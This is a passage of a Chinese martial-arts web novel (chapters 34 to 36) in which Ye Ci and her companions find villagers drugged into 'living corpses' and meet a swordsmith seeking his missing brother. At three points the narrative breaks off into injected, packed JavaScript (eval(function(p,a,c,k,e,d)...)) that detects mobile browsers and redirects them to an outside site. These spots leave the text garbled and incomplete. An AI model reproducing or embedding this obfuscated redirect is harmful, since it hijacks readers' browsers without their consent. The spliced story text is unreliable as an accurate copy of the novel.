那些脚步声杂乱且沉重,仿佛腿上没什么力气似的。 “这脚步声听着,怎么感觉那么奇怪?”叶慈小声道。 房梁上的人一顿,似乎在斟酌如何开口,最后只幽幽飘来一句:“这回听着,确实不像活人。” 叶慈:“!” 这人不是刚才还信誓旦旦地说世上根本没有鬼吗??? 34. 第三十四章 “屏息!” 叶慈忙照他说的,尽力敛去气息,只听到脚步声越来越近,便越来越能感受到其中的诡异。 “呜……”祁涟吓得哭了出来,嘴里漏出一声呜咽,叶慈眼疾手快,连忙捂住他的嘴。 屋外的脚步声果然一顿,叶慈紧张得背上出了一层薄汗,低下头看祁涟,只见他眼里盈满了泪水,嘴巴被她捂得紧紧的,大概是因为有些透不过气,脸和脖子都憋得通红。 只是眼下没别的办法,叶慈在黑暗中冲他做了个口型—— “忍一下。” 房梁上传来一声轻笑,叶慈觉得有些莫名其妙,但此刻实在不是追问的时候,祁昼时常会做出一些让旁人理解不了的举动,叶慈便也没在意。 好在屋外的脚步声只停了一瞬,接着便又动了起来。 叶慈的心都快跳出嗓子眼了,她搂着祁涟躲在暗处的墙角,因为视角盲区,看不到门外的状况,只能凭声音判断,那群“人”似乎是停在了门口。 她小幅度地抬头看向上面,只见祁昼亦绷紧了脊背,像一只蓄势待发的猫。 看到靠谱的前辈,叶慈稍稍安心了一点。 一只脚踏了进来。 皮肤粗糙,上面有泥垢,穿的是粗麻编的草鞋,看起来像是一只普通农民的脚。 接着,是第二只,第三只……每个人的脚都大差不差,民生多艰,一看就没过过什么好日子。 直到没人再往里进,叶慈才看向屋里,那些人的打扮也都与普通村民无异,但却彼此没有任何交谈,脚步和听到的一样,笨重,好像根本不知道怎么用腿发力,只是被什么东西拖着前进。 行尸走肉…… 叶慈脑海中浮现出这个词。 这些人似乎并没有发现躲在屋中的三人,自顾自地选好了自己的地方,大都围在棺材旁边,一瞬间,像是断了线的木偶,东倒西歪地跌了下去。 有几个在坐下后,正巧面对着叶慈,她原本已经做好被发现后与其战斗的准备了,但那些人与她目光相错,没有任何反应。 更诡异的是,他们所有人都没有黑眼珠,眼球暴露在外面的部分全部被眼白占领了,看起来像是硬生生被人扒开眼皮的尸体。 而更让叶慈感到震撼的是,此刻这些人面朝屋外,借着月光,她才勉强看清楚,这其中竟然有几个熟面孔。 卖鱼的高大叔、浣纱的哑女青姐、饭馆的王掌柜,赌鬼独眼张…… 都是碧渠村的村民。 祁涟显然也将他们认了出来,身躯剧烈地发起抖来。 祁昼见势不妙,从袖中弹出一颗小石子,正打在义庄外的一颗歪脖子树上。 那树上被麻雀筑了巢,祁昼眼力惊人,一击即中,不过击中的不是巢穴,而是树枝。 树枝断裂,巢穴也跟着掉到地上,麻雀立即被惊得四散飞走,屋里那群“人”听见动静,齐刷刷看向外面,场面颇有些恐怖诡异。 祁昼趁机从房梁上掠下来,捞起二人就跑,直到离义庄大概百米之外才停下。 “什么情况?”他不明白祁涟怎么会突然情绪失控,问道。 叶慈下意识将祁涟护在身后,解释道:“那些……人里面,有我们认识的人,他们是碧渠村的村民。” 祁昼闻言思索了一下,喃喃道:“这里离碧渠村虽隔了座山,但其实也并不算远,只是若没什么要紧事,一般人也不会翻山越岭到另一个村子里来吧?” 叶慈点点头:“正是,我还住在山上时,连听都没听说过泉东村这个地方,也没见村民们谈论过,恐怕他们不会主动来这里。” 祁昼颔首:“这种事情我在教中听说过,据说早些年江湖上便出现了一种药,名为惊梦,吃了便会丧失神智,被人控制,变成行尸走肉,没出现多久就被武林盟清剿了,如今看这些人,倒是和传闻中服用惊梦之后的样子很像。” 惊梦…… 叶慈将这两个字在心间咀嚼了一遍,若非祁昼所言,她根本无法将这样绮丽的一个名字与方才那副恐怖的场景联想到一起。 “那现在怎么办?”在一堆问题中,她还是先挑了个最要紧的问了出来,“还有办法能救他们吗?” “你想救他们?”祁昼挑了挑眉。 叶慈这才发现,因着这些天祁昼对她太好,她都差点忘了,眼前这人所在的缁带教,最为恣意妄为,所谓的江湖道义对他们来说都是狗屁,这种来去自由惯了的人,又怎么会在意几条蝼蚁般的人命? 但她只顿了一瞬,仍继续说道:“这些人都是我曾经的邻里乡亲,即便没有血缘关系,也并没有亲密到足以让我赌上性命的程度,但毕竟相识一场,从前在碧渠村时,也对我多有帮助,如今他们有难,又恰巧被我撞见,我便不能置之不理。” 祁昼轻笑:“还挺有理有据。” “那这人,前辈可知道该怎么救?” 祁昼沉吟片刻,道:“我虽对‘惊梦’有所了解,但是医之一道,为我所不通,我能让这些人都丧失行动能力,但怎么让他们恢复正常,确实是我能力范围之外的事。” 他口中的“丧失行动能力”是怎么个丧失法,叶慈不敢细想,于是迅速略过这种可能性。 “那眼下,有什么办法能找到解药吗?” 祁昼失笑:“死孩子还真当我是大罗神仙,想要什么都能给你弄来啊?” 他顿了顿,又道:“不过传闻也说,若将‘惊梦’用于控制他人,那控制者便不能离被控制者太远,否则此药便会失效。” 叶慈敏锐地捕捉到他话中的另一层意思,若将“惊梦”用于控制他人,也就是说,这种药其实也有别的用途? 不过此时不是问这个的时候,他们还有更要紧的事情要做,她咽下诸多疑问,说道:“也就是说,给村民们下药的人,一定离他们不远?” “还算聪明,那你说说,你觉得此人藏在哪里?” “若藏在附近,以前辈的耳力目力,不会毫无察觉,想必躲得再隐蔽也没用。而前辈方才又说,离远了‘惊梦’会失效,那除非这药过了这么多年,已经经过了改良,那么最后,就只剩下一种可能性了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15426305|165000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叶慈边说边思考。 “说。” “下药的人,就藏在村民们中间。”叶慈道。 祁昼眼中闪过一丝赞许之色,道:“不错,想必是方才你这位好弟弟的动静惊动了下药的人,那人得知义庄内有人,为避免节外生枝,这才临时决定混入这些活尸的队伍中。” 毕竟是曾经朝夕相处过的村民,“活尸”二字,叶慈听着有些刺耳,但此刻不是争辩的时候,她斩钉截铁道:“那我们现在就回去把人揪出来。” “好……等等!”祁昼点头点到一半,突然拉住马上要冲出去的叶慈,“又来人了。” “……这回是活人吗?”叶慈问。 “……”祁昼沉默下来,似乎在仔细聆听,过了一会儿,才答道,“是,而且有两人,脚步轻快,应当有功夫傍身,不过……” 他嘴角一勾:“都不是我的对手。” “前辈武功盖世,自然难有敌手。”叶慈敷衍地恭维两句,又拉着祁涟一起躲到树后,小声道,“难道我们刚才的推断有误?可是活……尸在前面走,若是这两人下的手,他们怎么放心离得这么远,就不怕失控吗?” 她顿了一下,道:“难道真是这些年来,有人改良了药物?但‘惊梦’不是已经被武林盟收缴了吗?怎么会……” 叶慈心中冒出一个可怕的想法。 祁昼显然也猜到了她没说出口的话是什么,讳莫如深地看了她一眼,才答道:“应该不会。” “且不说这药是否被改进过,就算现在已经能实现你所说的远距离控制,除非功力深厚非常,这下药者也一定不敢离这么远操纵他们。从脚步声判断,这二人都会轻功,而且脚程不慢,从活尸们走进义庄开始算起,现在也有半柱香的时间了,这二人的距离未免有些太远。” 叶慈沉吟道:“这么说起来,这二人更像是碰巧到此,或是……” 祁昼点点头:“跟着活尸,追踪到此。” “那他们或许会有解药?”叶慈道。 “不无可能。” “可……若他们是坏人怎么办?”祁涟难得插嘴道。 “不管是敌是友,都先绑了再说。” 一炷香后,叶慈看着眼前挣扎的两人,不禁由衷地发出疑问:“前辈,你从哪找的绳子?” 祁昼不以为然:“用的教里的黑腰带,土不拉几的,我不爱穿,但教里的人都是死脑筋,只认腰带,我只好随身带着。” 这二人一男一女,看着都很年轻,男的一身灰衣,用弩箭,女的则一身红衣,用鞭子,看着都不像寻常料子,祁昼缴了他们的武器,扔在一旁。 红衣,鞭子,叶慈觉得这配置似乎有些熟悉。 “搜身吧。” 二人甚至来不及说话就被祁昼塞住嘴绑了,此刻只能发出“呜呜”的声音。 “你搜女的。”祁昼对叶慈道。 叶慈应下,刚蹲下|身,便对上一双倔强的眼睛。 她“咦”了一声:“是你?” 祁昼“啧”了一声:“怎么净是你熟人。” 35. 第三十五章 眼前人正是叶慈刚从曾安礼手中得到千钧剑那天,在茌宁遇到,与她比武的姑娘。 叶慈努力在脑海中搜寻她的名字:“……红应,你叫红应对吧?我们在茌宁见过。” 她侧侧身,露出一直背在身后的千钧剑。 逃离侯府之前,她假意托人将千钧剑带出府去当了,后来又与祁昼一起赎了回来,说起来,赎剑的钱,还是祁昼借给她的。 红应应当是还认得这把剑,也认得叶慈这个人的,看到她的脸后便激烈地挣扎起来,似乎有话想说。 而出乎叶慈意料的是,一旁的灰衣少年在看清那把剑的轮廓后也愣了一下,随即一边挣扎,嘴里一边不住发出“呜呜”的声音,像是激动,又像是狂喜。 “啧。”祁昼耐心耗尽,甚至不等叶慈阻止,便一把扯下二人嘴里的白布,“想说什么?说吧。” “叶姑娘,我没认错吧?!” “‘千钧’怎么在你这!” “一个一个说。”祁昼的目光在两人之间逡巡片刻,不知怎么的,叶慈觉得,他看灰衣少年的目光好像有几分嫌弃,就像是家里长辈看觊觎自家闺女的穷小子一样。 果然,他将其中一块布塞回灰衣少年嘴里,抬抬下巴,对红应道:“你先说。” “叶姑娘,你怎么会在这?还与这个……若我没认错,这应当是缁带教的那个魔头吧,你怎么能与他厮混在一起!” 祁昼不悦地皱了皱眉,又重新把布塞回红应嘴里:“让你解释,没让你问问题。” “轮到你了。”他将灰衣少年嘴里的布毫不留情地抽出来,似乎是动作有些粗鲁,扯到了他的嘴,疼得那少年龇牙咧嘴了半天。 “说不说?不说这辈子就都别说了。”祁昼冷着脸道 “我说我说!”这灰衣少年倒像是个识时务的,也可能是祁昼冷着脸时确实有几分唬人,被吓着了,他倒豆子一般几乎把身家都快坦白了。 “这位……方才听红应说,姓叶的姑娘,还有这位前辈,这位公子,我名叫颜若,是个铸剑师,此番是来寻找我家兄长的,一路追着活尸到此,只不过武功实在差强人意,路上被赶尸人发现,险些丧命,好在有红应姑娘出手相救,才保住一条命。” “不知这个解释,这位前辈可还满意?”他有些紧张地看向祁昼。 祁昼冷哼一声:“还算是个识时务的。” “你方才说你是特意追着这些人来的,还遇上了赶尸人?”叶慈问。 “是。”颜若点点头,“在下与家兄,曾经都是武林盟的弟子,家兄出身药堂,半月前出门游历后,就不见了踪迹,在下四处打听,才得知家兄最后一次出现的地方,就是离此处不远的泉东村。” “说重点。”祁昼道,“你既然是为了追寻你兄长的踪迹而来,为何又说是追着活尸来的?” “是这样的,只是在下在来的路上,碰巧遇见了赶尸人赶着一队活尸前行,活尸……恰巧与兄长此前追查的事情有关,诸位有所不知,我兄长便是为了替这些可怜人解毒才孤身一人调查活尸之事,最后下落不明的,我觉得若是我能承兄长之志,还他们自由身,也是功德一件。”颜若答道。 叶慈敏锐地抓住了重点:“你的意思是,你有办法替这些人解毒?” 颜若重重地点头:“是!你们与赶尸人想必不是一伙的,否则应该早就把我们杀了,不会盘问到现在。因此,若诸位与我目的一致,麻烦快些放了我们,好让我们去给那些无辜村民解毒!” “为何?这毒若解得迟了会怎样?”叶慈问。 “兄长的手札中有记录说,此毒名为‘惊梦’,被下毒者举止如活尸,无意识、无记忆,只听命于下毒者,而下毒者则为赶尸人,若每晚用药,用满七天,被下毒者将彻底失去神智,沦为走兽。我已经跟了他们六日,今晚是第七次下药,若是让赶尸人成功了,这些村民就彻底没救了!” 叶慈与祁昼对视一眼,看他眼中神色,似乎觉得颜若说的话可信,而且,就算不可信,他也有能重新将这二人抓起来的自信。 于是她冲祁昼点了点头。 “好,那我便先放了你们。”祁昼见远处已天际线已亮起微光,知道解毒之事不能再拖,“但你要将解药交给我,由我去给村民们服下解药,毕竟这里,我的武功是最高的,由我去,也最万无一失。” 红应挣扎着发出“呜呜”的声音,似乎是在说“不能把药给他”。 祁昼也并不出声催促,只是静静地等待颜若的答复。 少年看看祁昼,又看看叶慈,似乎是咬了咬牙,道:“好,我答应你。” 于是祁昼依言将颜若放开,待他找到解药后又将他捆了起来,交代叶慈:“看好他们,在这等我。” 祁昼飞身而去,只身进入了义庄,不多时,里面隐隐传来打斗声与野兽低吼一般的声音,叶慈有些担心,不住向那个方向张望着,好在不到半柱香之后,祁昼便全须全尾、大摇大摆地走了出来。 他不知从哪弄出来一张帕子,颇为讲究地擦擦手,道:“都解决了,且看天亮之后,他们能不能恢复神智了。” 他说完,又转向颜若,问:“你方才说,你在追踪过程中,见到了赶尸人,那人长什么样?” 颜若面露难色,摇摇头:“我功夫太差,并没看清那人的长相,只知道有人在暗处指挥活尸攻击我,因此推测那人便是赶尸人。” “可有看到大概身形?” 颜若似乎仔细回忆了一下,才说:“只看到一个模糊的影子,似乎很瘦小。” 叶慈看向祁昼,只见他摇摇头,道:“这范围太大了,根本没法辨认。” “你们是怀疑赶尸人藏在了活尸中间?” 祁昼没理会他,说:“一会儿等他们醒了再问问吧。” 离天亮还有不到两个时辰,祁昼看叶慈一夜没睡,便对她说:“我守夜,你稍微睡一会儿吧。” “前辈你不累吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15436630|165000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 祁昼勾唇:“你前辈我内力深厚,便是七天七夜不睡也照样容光焕发。” “我怎么瞧着前辈白玉一样的脸上像是生了两个黑眼圈?” “怎么可能!”祁昼柳眉一竖,刚想找潭水照照镜子,便看到了叶慈脸上的笑意,“死孩子,胆子大了,连我的玩笑也敢开?” “我与前辈轮流守夜吧。这样也不至于让一个人太累。”叶慈笑着提议道。 “让你睡你便睡,再说了,若真有什么情况,你一个人应付得来?” 叶慈还想反驳,却感觉自己的袖口被人拉了拉,她看过去,只见祁涟已经一张脸都快变成小苦瓜了,可怜巴巴地道:“慈姐姐,我好累,能不能……靠着你睡一会儿?” 祁昼像是没眼看一般别过脸去,叶慈刚与弟弟重逢,不忍拒绝他,便应道:“好吧。” 于是叶慈靠在树边坐下,祁涟顺势躺倒在叶慈膝上,抬起脸来看着叶慈,一双眼瞬间又变得亮晶晶的,喟叹道:“慈姐姐,我们好久没这样坐着了。” 叶慈将他额前一缕乱发别到耳后:“是啊,这些时日很辛苦吧,快睡吧。” “我醒来……还能再见到慈姐姐吗?”祁涟的青衣被夜风吹起一角,像柳叶,他仿佛真的对这个问题感到很困扰,眼里又泛起水光。 叶慈失笑:“放心吧,我就在这里,就在小涟身边,哪也不去。” 祁涟将整个脸埋在叶慈的小腹处,深呼吸了一口,似乎在贪婪地汲取叶慈的味道,这才沉沉睡去。 祁昼一副没眼看的样子,转到树的另一侧,靠在树上,双臂抱在胸前,看似无所事事,实际上双眼一直紧盯着不远处的义庄。 红应是个心大的,即便双手仍被捆在身后,嘴里也还塞着布条,竟然也没心没肺地进入了梦乡。 叶慈闭上眼假寐,她心里有事,睡不着,便这样养精蓄锐。 她感觉身旁传来一阵窸窸窣窣的响动,接着是一道刻意压低了的清越少年音,在离她不远的位置响了起来:“不知……在下可否问个问题?” 她知道那是颜若,她其实也一直在等他问出那个问题。 叶慈睁开眼,眼中没有丝毫睡意。 “这千钧剑……你是如何得到的?”灰衣少年似乎在斟酌用词,问道。 “你怎么知道这剑叫‘千钧’?”叶慈反问。 “我化成灰都能认得这把剑!”颜若将脸一抬,语气中似乎带着几分骄傲。 叶慈突然想到他之前说的话——来自武林盟,武功不好,定不是武堂的,惊梦解药是来自药堂的哥哥制成的,似乎也不是药堂,那便只剩下一种可能性了…… “这剑,不会是你铸的吧?”叶慈问。 颜若闻言,一反方才彬彬有礼的态度,若他有尾巴,此刻几乎要翘到天上去了。 “正是区区不才在下!” 叶慈:“……” 这会儿她算是看出来了,“千钧”铁定是他的得意之作。 36. 第三十六章 颜若太过得意,一时声音有些大,吵得叶慈膝上的祁涟嘤咛一声,叶慈帮摸了摸他的头,他才又睡过去。 祁昼的声音从另一侧传过来:“不就铸了把剑?声音这么大,生怕义庄里那些听不见?” “你懂什……”他立即反驳,但大概是想到了祁昼那恐怖的实力,又改口道,“前辈,您虽然武功高,但是对于兵器一道,想必并不精通吧,您别看千钧看着似乎不起眼,但若遇到合适的人,绝对是不可多得的利器!” 叶慈想起来,当时她在曾安礼那儿挑选兵器时,他是这么介绍这把剑的—— “这把剑其实是新手铸剑师失误铸成的,不小心造得太沉,没人能用,原打算过几天就送去熔了的,你要不还是换一把吧……” 如今听颜若所言,曾安礼口中那个新手铸剑师应该就是他了?看他一副“这是我的得意之作”的样子,曾安礼口中的“不小心”也有待商榷。 不过,眼下最紧要的还是—— “那你说说,这把剑有何特别之处?”叶慈问。 其实这些天在外奔波,她也并没有放下练功的事,只是用上武器,才能渐渐感受到,赵明予教给她的藏渊剑法,她用起来,却失了这剑法在赵明予手中的威力。 只因赵明予用轻剑,身法灵动,这套剑法在他手中已经自成体系,出招时更偏戳、刺,而叶慈用重剑,因着重剑自身的重量与威力,即便是同一招式,轻剑的挥会变成砍、劈,达到的效果完全不一样,说不清哪种更好,只能说哪种更适合自己。 在武器一道上,叶慈很明显用着重剑更趁手,重武器能让她的力量得以释放,在原本招式的基础上更添了一层力量的威力。 只是若用使重剑的方式使出藏渊剑法,毫无疑问其达到的效果会大打折扣,因为二者本就不适配。 这件事已经困扰她许久了,祁昼虽在生活上对她照顾有加,但似乎并无意提点她的武功,因此叶慈此时很想听听颜若身为千钧的铸造者,有什么见解。 只见少年沉吟片刻,似乎是在思考如何才能将话说得能让叶慈听懂:“叶姑娘你可知道,为何这柄重剑虽然在大小上与其他重剑差距并不大,但是却比其他的重剑更重?” 叶慈老实地摇摇头。 颜若面上的得意又多了几分:“是因铸造时,我用了特殊的方法,而非只是熔铸,虽同样大小,却比寻常重剑要多用一倍的原料,因此千钧不仅重,而且结实,我敢保证,在当今武林,它无坚不摧!” 他说的话太过于掷地有声,以至于叶慈听到,一时都愣住了。 半晌,才听到树那侧传来一声哂笑:“真会说大话。” “你……前辈,你若不信,大可以试试,这天底下的兵器,只要是铁铸的,若真是硬碰硬,不会有能赢过千钧的!” 祁昼冷笑:“那你倒是说说,你既然造出了这么厉害的剑,为何却还是一个无名小卒?” 颜朔:“……” “你只考虑到如何铸造一把无坚不摧的剑,却忘了,武器是给人用的,若人无法驾驭,那这把武器就算再厉害,那也是废铁一块。”一向不正经的祁昼难得严厉,叶慈听着,却觉得他的语气中有几分冷。 “前辈,教训的是……”颜朔低头嗫嚅,又抬头看向叶慈,“那不知叶姑娘用着这剑,可还觉得趁手。” 叶慈自己还没说话,祁昼便截了她的话头,道:“这位叶姑娘天生神力,你这剑还算幸运,遇上她,也不至于埋没了。” 他语调又轻快起来,语气中带着几分打趣,听着像是又恢复了往常的样子。 叶慈也没过多解释,只是另起话题,问颜若道:“你方才说,你‘曾经’是武林盟的弟子,怎么如今不是了?” 颜若叹了口气:“其实源头,仍是在这柄剑上。” “我自小喜欢研究兵器,但是在武学上没什么天赋,便把精力放在了铸造上,十八岁入兵器堂,直到去年才被准许铸造,我想一鸣惊人,便花了半年时间研究古籍,又试了很多种方法,想要打造出一柄与寻常兵器体积相同、但却更加坚韧的武器,大概花了半年时间才成功,于是便有了‘千钧’。” “谁知铸出来后,堂主——也就是曾公子却并不满意,因为至少在姑娘你出现之前,没人能拿得起这柄剑,更遑论作为武器使用了,于是公子便下令将千钧熔了重铸,我花了一年时间才铸出来的剑,说熔就熔,我自然不满,也对曾公子的行事作风很是失望,于是便自请退出了武林盟。” “但其实从堂主的角度看,他的做法并没有错。”祁昼淡淡道,“与其留一把没人能拿得起来的‘神剑’,不如将资源用在更有用的地方。” “是啊……人驾驭剑,而非剑驾驭人的道理,我也是后来才想明白。”他的目光有落到叶慈背后的千钧上,月凉如水,月光洒在剑身上,却并不让人觉得冷,反而透着玉似的温润光泽,“还好千钧幸运,能遇上叶姑娘赏识。” 叶慈礼貌地回以微笑:“能得到千钧,也是我的幸运。” “那你兄长呢?”她问,“你兄长能研究出对抗‘惊梦’的药,想必也是少年英才吧。” “兄长自然是天纵奇才!”颜若道,“我兄长名为颜朔,是药堂中的医者,他的名号,几乎整个武林盟的人都知道,红应姑娘便是听说了我是在追查兄长失踪的事情,才愿意与我同路的!” 叶慈看向一旁的红应,泼辣的红衣女侠睡眠质量不同凡响,并没有被几人的说话声吵醒,仍然睡得正香。 叶慈略略思忖,道:“你方才说,你兄长于半月前,为了追查泉东村的事情而失踪,此事你能否细细说来?” 她怕颜若心有芥蒂,又补充了一句:“我与前辈和弟弟此行的目的地也是泉东村,你若是不介意,可以与我们同路,若能多知道些你兄长的事情,我们也好帮忙调查。” 其实叶慈心中还有一层顾虑, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“这是兄长的手札。兄长曾说,积累经验,对医者至关重要,因此他每次行医都有记录,方便日后翻阅,遇到相似的疑难杂症,也能有个参考。兄长如今不知所踪,叶姑娘,这手札你自可任意翻阅,若能有所帮助,自然是再好不过了。” 叶慈得了准许,点点头,翻开了手札。 这手札中的字迹端正工整,可见书写者的认真。 叶慈并未在武林盟生活过,自然不知道颜朔其人的名号,但从这本手札中也能看出,他确实如颜若所说,是个做事认真严谨的君子。 前面大部分内容其实都看不出有什么问题,直到三月前的记录中,“癔症”出现的频率大幅增加,并且大部分患者都曾去过泉东村。 颜朔显然也发现了这个问题,他在一月前,对这种病症做了总结——精神恍惚、多梦、躯体不受控制。 他看起来像是去查阅了古籍,在下面留下了一行批注:与服用惊梦后状态相似。 再后面列了数十个药方,看起来是在研究惊梦的解药,只是每一个都被划去了,直到最后留下了一个配方—— 朱砂、当归、榆钱、生地、甘草、黄连(剂量还需调整)。